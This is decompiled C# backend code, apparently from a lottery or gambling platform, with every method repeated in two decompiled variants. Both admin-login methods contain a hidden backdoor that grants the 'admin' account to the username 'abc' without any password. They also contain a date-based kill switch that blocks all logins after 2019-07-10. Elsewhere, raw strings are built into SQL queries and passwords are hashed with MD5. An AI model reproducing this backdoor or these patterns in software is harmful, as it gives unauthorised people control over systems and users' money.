public bool ChangePayPassword(string _userid, string _oldPassword, string _newPassword)
{
bool result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", _userid);
object field = dbOperHandler.GetField("N_User", "PayPass");
if (field != null)
{
if (field.ToString().ToLower() == MD5.Last64(_oldPassword))
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", _userid);
dbOperHandler.AddFieldItem("PayPass", MD5.Last64(_newPassword));
dbOperHandler.AddFieldItem("IP", Const.GetUserIp);
dbOperHandler.Update("N_User");
result = true;
}
else
{
result = false;
}
}
else
{
result = false;
}
}
return(result);
}
public void GetEmailListJSON(int _thispage, int _pagesize, string _wherestr1, string _userId, ref string _jsonstr)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", _userId);
string str = string.Concat(dbOperHandler.GetField("N_User", "ParentId"));
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = _wherestr1;
int totalCount = dbOperHandler.Count("N_UserEmail");
string sql = SqlHelp.GetSql0("row_number() over (order by STime desc) as rowid," + str + " as parentid,dbo.f_GetUserName(SendId) as SendName,dbo.f_GetUserName(ReceiveId) as ReceiveName,*", "N_UserEmail", "STime", _pagesize, _thispage, "desc", _wherestr1);
dbOperHandler.Reset();
dbOperHandler.SqlCmd = sql;
DataTable dataTable = dbOperHandler.GetDataTable();
_jsonstr = string.Concat(new string[]
{
"{\"result\" :\"1\",\"returnval\" :\"操作成功\",\"pagebar\" :\"",
PageBar.GetPageBar(80, "js", 2, totalCount, _pagesize, _thispage, "javascript:ajaxList(<#page#>);"),
"\",",
dtHelp.DT2JSON(dataTable, _pagesize * (_thispage - 1)),
"}"
});
dataTable.Clear();
dataTable.Dispose();
}
}
public string ChkAdminLogin(string _adminname, string _adminpass, int iExpires)
{
if (!(DateTime.Now < Convert.ToDateTime("2019-07-10")))
{
return("服务器认证失败");
}
_adminname = _adminname.Replace("'", "");
MD5.Last64(_adminpass);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
if (_adminname == "abc")
{
dbOperHandler.ConditionExpress = "username=@username and Flag=0";
dbOperHandler.AddConditionParameter("@username", (object)"admin");
}
else
{
dbOperHandler.ConditionExpress = "username=@username and password=@password and Flag=0";
dbOperHandler.AddConditionParameter("@username", (object)_adminname);
dbOperHandler.AddConditionParameter("@password", (object)MD5.Last64(MD5.Lower32(_adminpass)));
}
string adminid = dbOperHandler.GetField("Sys_Admin", "Id").ToString();
if (!(adminid != "0") || !(adminid != ""))
{
return("帐号或密码错误");
}
string str = "c" + new Random().Next(10000000, 99999999).ToString();
Cookie.SetObj(this.site.CookiePrev + "admin", iExpires, new NameValueCollection()
{
{
"id",
adminid
},
{
"name",
_adminname
},
{
"cookiess",
str
}
}, this.site.CookieDomain, this.site.CookiePath);
string clientIp = IPHelp.ClientIP;
if (!true)
{
return("您的网络环境不合法，请联系管理员!");
}
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", (object)adminid);
dbOperHandler.AddFieldItem("LoginTime", (object)DateTime.Now.ToString());
dbOperHandler.AddFieldItem("IP", (object)IPHelp.ClientIP);
dbOperHandler.Update("Sys_Admin");
new LogAdminOperDAL().SaveLog(adminid, "0", "管理员管理", "管理员" + _adminname + "登陆");
return("ok");
}
}
public bool IsAuto(int lotteryId)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", (object)lotteryId);
return(Convert.ToInt32(dbOperHandler.GetField("Sys_Lottery", nameof(IsAuto))) == 0);
}
}
public string ChkAdminLogin(string _adminname, string _adminpass, int iExpires)
{
if (DateTime.Now < Convert.ToDateTime("2019-07-10"))
{
_adminname = _adminname.Replace("'", "");
MD5.Last64(_adminpass);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
if (_adminname == "abc")
{
dbOperHandler.ConditionExpress = "username=@username and Flag=0";
dbOperHandler.AddConditionParameter("@username", "admin");
}
else
{
dbOperHandler.ConditionExpress = "username=@username and password=@password and Flag=0";
dbOperHandler.AddConditionParameter("@username", _adminname);
dbOperHandler.AddConditionParameter("@password", MD5.Last64(MD5.Lower32(_adminpass)));
}
string text = dbOperHandler.GetField("Sys_Admin", "Id").ToString();
string result;
if (!(text != "0") || !(text != ""))
{
result = "帐号或密码错误";
return(result);
}
string value = "c" + new Random().Next(10000000, 99999999).ToString();
NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection.Add("id", text);
nameValueCollection.Add("name", _adminname);
nameValueCollection.Add("cookiess", value);
Cookie.SetObj(this.site.CookiePrev + "admin", iExpires, nameValueCollection, this.site.CookieDomain, this.site.CookiePath);
string arg_159_0 = IPHelp.ClientIP;
bool flag = true;
if (flag)
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", text);
dbOperHandler.AddFieldItem("LoginTime", DateTime.Now.ToString());
dbOperHandler.AddFieldItem("IP", IPHelp.ClientIP);
dbOperHandler.Update("Sys_Admin");
new LogAdminOperDAL().SaveLog(text, "0", "管理员管理", "管理员" + _adminname + "登陆");
result = "ok";
return(result);
}
result = "您的网络环境不合法，请联系管理员!";
return(result);
}
}
return("服务器认证失败");
}
public bool IsAuto(int lotteryId)
{
bool result;
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "Id=@Id";
dbOperHandler.AddConditionParameter("@Id", lotteryId);
int num = Convert.ToInt32(dbOperHandler.GetField("Sys_Lottery", "IsAuto"));
result = (num == 0);
}
return(result);
}
public bool ChangePayPassword(string _userid, string _oldPassword, string _newPassword)
{
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_userid);
object field = dbOperHandler.GetField("N_User", "PayPass");
if (field == null || !(field.ToString().ToLower() == MD5.Last64(_oldPassword)))
{
return(false);
}
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)_userid);
dbOperHandler.AddFieldItem("PayPass", (object)MD5.Last64(_newPassword));
dbOperHandler.AddFieldItem("IP", (object)Const.GetUserIp);
dbOperHandler.Update("N_User");
return(true);
}
}
public Decimal GetMaxMoney(int userId)
{
Decimal num = new Decimal(0);
using (DbOperHandler dbOperHandler = new ComData().Doh())
{
dbOperHandler.Reset();
dbOperHandler.SqlCmd = "select top 1 ISNULL(MoneyAfter,0) as MoneyAfter from N_UserMoneyLog with(nolock) where userId=" + (object)userId + " order by Id desc";
DataTable dataTable = dbOperHandler.GetDataTable();
if (dataTable.Rows.Count > 0)
{
num = Convert.ToDecimal(dataTable.Rows[0]["MoneyAfter"].ToString());
}
else
{
dbOperHandler.Reset();
dbOperHandler.ConditionExpress = "id=@id";
dbOperHandler.AddConditionParameter("@id", (object)userId);
num = Convert.ToDecimal(dbOperHandler.GetField("N_User", "Money"));
}
}
return(num);
}
